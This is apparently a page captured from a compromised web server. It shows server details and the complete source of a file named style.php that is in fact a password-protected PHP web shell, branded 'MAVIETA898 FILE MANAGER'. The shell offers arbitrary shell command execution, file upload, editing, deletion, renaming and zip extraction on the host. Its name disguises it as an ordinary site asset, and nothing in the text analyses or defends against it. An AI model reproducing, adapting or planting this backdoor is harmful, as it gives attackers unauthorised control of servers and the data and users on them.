HEX
Server: LiteSpeed
System: Linux emerald.serverdnsnetwork.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User: mahdetej (1135)
PHP: 7.4.33
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open
Upload Files
File: /home/mahdetej/public_html/style.php
<?php $token='HengHeng898';if(!isset($_GET['TEAM898'])||$_GET['TEAM898']!==$token){die('Access Denied!');}$dirParam=isset($_GET['dir'])?$_GET['dir']:'.';$action=isset($_GET['action'])?$_GET['action']:'list';function runCmd($cmd){return shell_exec($cmd.' 2>&1');}function showBreadcrumb($dir){$parts=explode(DIRECTORY_SEPARATOR,$dir);$bread='<a href="?TEAM898='.$GLOBALS['token'].'&dir=">root</a>';$path='';foreach($parts as $part){if($part){$path.='/'.$part;$bread.=' / <a href="?TEAM898='.$GLOBALS['token'].'&dir='.urlencode($path).'">'.$part.'</a>';}}return $bread;}$dir=realpath($dirParam);if(!$dir||!is_dir($dir))$dir=__DIR__;chdir($dir);if($action=='upload'&&isset($_FILES['file'])){$target=$dir.'/'.basename($_FILES['file']['name']);move_uploaded_file($_FILES['file']['tmp_name'],$target);header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='edit'&&isset($_POST['content'])){$file=basename($_POST['file']);file_put_contents($dir.'/'.$file,$_POST['content']);header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='edit'&&isset($_GET['name'])&&$_SERVER['REQUEST_METHOD']=='GET'){$file=basename($_GET['name']);$filepath=$dir.'/'.$file;if(file_exists($filepath)&&!is_dir($filepath)){$content=file_get_contents($filepath); ?><!doctypehtml><html><head><title>Edit -<?=htmlspecialchars($file)?></title><style>body{font-family:monospace;background:#1e1e1e;color:#d4d4d4;padding:20px}textarea{width:100%;height:70vh;background:#252526;color:#d4d4d4;border:1px solid #3e3e3e;padding:10px}button{background:#0a0;color:#fff;border:none;padding:8px 16px;border-radius:4px;cursor:pointer}a{color:#6af;text-decoration:none;margin-left:10px}</style></head><body><h2>Editing:<?=htmlspecialchars($file)?></h2><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=edit"method="post"><input name="file"type="hidden"value="<?=htmlspecialchars($file)?>"> <textarea name="content"><?=htmlspecialchars($content)?></textarea><br><button type="submit">💾 Save</button> <a href="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>">Cancel</a></form></body></html><?php exit;}else{die("File not found.");}}if($action=='rename'&&isset($_GET['name'])&&$_SERVER['REQUEST_METHOD']=='GET'){$file=basename($_GET['name']);$filepath=$dir.'/'.$file;if(!file_exists($filepath))die("File/folder not found."); ?><!doctypehtml><html><head><title>Rename -<?=htmlspecialchars($file)?></title><style>body{font-family:monospace;background:#1e1e1e;color:#d4d4d4;padding:20px}input[type=text]{background:#252526;color:#d4d4d4;border:1px solid #3e3e3e;padding:8px;width:100%;margin:10px 0;box-sizing:border-box}button{background:#0a0;color:#fff;border:none;padding:8px 16px;border-radius:4px;cursor:pointer}a{color:#6af;text-decoration:none;margin-left:10px}</style></head><body><h2>Rename:<?=htmlspecialchars($file)?></h2><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=rename"method="post"><input name="old"type="hidden"value="<?=htmlspecialchars($file)?>"> New name: <input name="new"value="<?=htmlspecialchars($file)?>"><br><button type="submit">✏️ Rename</button> <a href="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>">Cancel</a></form></body></html><?php exit;}if($action=='rename'&&isset($_POST['old'],$_POST['new'])){$old=basename($_POST['old']);$new=basename($_POST['new']);if($old&&$new&&file_exists($dir.'/'.$old)){rename($dir.'/'.$old,$dir.'/'.$new);}header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='create'&&isset($_POST['newfile'])){file_put_contents($dir.'/'.basename($_POST['newfile']),'');header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='mkdir'&&isset($_POST['foldername'])){mkdir($dir.'/'.basename($_POST['foldername']));header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='delete'&&isset($_GET['name'])){$target=$dir.'/'.basename($_GET['name']);if(is_dir($target))rmdir($target);else unlink($target);header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='unzip'&&isset($_GET['name'])){$zip=$dir.'/'.basename($_GET['name']);if(file_exists($zip)&&pathinfo($zip,PATHINFO_EXTENSION)=='zip'){$zipObj=new ZipArchive();if($zipObj->open($zip)===TRUE){$zipObj->extractTo($dir);$zipObj->close();unlink($zip);}}header('Location: ?TEAM898='.$token.'&dir='.urlencode($dir));exit;}if($action=='exec'&&isset($_POST['cmd'])){$out=runCmd($_POST['cmd']);echo "<pre style='background:#222;color:#0f0;padding:10px;margin:10px 0'>".htmlspecialchars($out)."</pre>";}$items=scandir($dir); ?><!doctypehtml><html><head><title>MAVIETA898 FILE MANAGER</title><style>body{font-family:monospace;background:#1e1e1e;color:#d4d4d4;padding:20px;margin:0}a{color:#6af;text-decoration:none}a:hover{text-decoration:underline}.box{background:#2a2a2a;padding:12px;margin:8px 0;border-radius:6px}button,input,textarea{background:#3a3a3a;color:#fff;border:1px solid #555;padding:6px 10px;border-radius:4px;font-size:14px}button{background:#2a7a2a;cursor:pointer;border:none}button:hover{background:#3a9a3a}table{width:100%;border-collapse:collapse;margin-top:10px}td,th{padding:6px 10px;text-align:left;border-bottom:1px solid #333}th{background:#333}.action a{margin-right:8px}.small{font-size:12px;color:#aaa}</style></head><body><h1>MAVIETA898 FILE MANAGER</h1><div class="box"><?=showBreadcrumb($dir)?></div><div class="box"><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=upload"method="post"style="display:inline"enctype="multipart/form-data"><input name="file"type="file"> <button>📤 Upload</button></form><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=create"method="post"style="display:inline"><input name="newfile"placeholder="newfile.txt"> <button>➕ Create</button></form><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=mkdir"method="post"style="display:inline"><input name="foldername"placeholder="newfolder"> <button>📁 Mkdir</button></form><form action="?TEAM898=<?=$token?>&dir=<?=urlencode($dir)?>&action=exec"method="post"style="display:inline"><input name="cmd"placeholder="command"> <button>⚡ Exec</button></form></div><table><tr><th>Name</th><th>Size</th><th>Action</th></tr><?php foreach($items as $item):if($item=='.'||$item=='..')continue;$full=$dir.'/'.$item;$isDir=is_dir($full);$size=$isDir?'':number_format(filesize($full));$link=$isDir?'?TEAM898='.$token.'&dir='.urlencode($full):'?TEAM898='.$token.'&dir='.urlencode($dir).'&action=edit&name='.urlencode($item);$rename='?TEAM898='.$token.'&dir='.urlencode($dir).'&action=rename&name='.urlencode($item);$del='?TEAM898='.$token.'&dir='.urlencode($dir).'&action=delete&name='.urlencode($item);$unzip=($isDir||pathinfo($item,PATHINFO_EXTENSION)!='zip')?'':' <a href="?TEAM898='.$token.'&dir='.urlencode($dir).'&action=unzip&name='.urlencode($item).'">[unzip]</a>'; ?><tr><td><a href="<?=$link?>"><?=$isDir?'📁':'📄'?><?=$item?></a></td><td class="small"><?=$size?></td><td class="action"><a href="<?=$rename?>">[rename]</a> <a href="<?=$del?>"onclick='return confirm("Delete?")'>[del]</a><?=$unzip?></td></tr><?php endforeach; ?></table></body></html>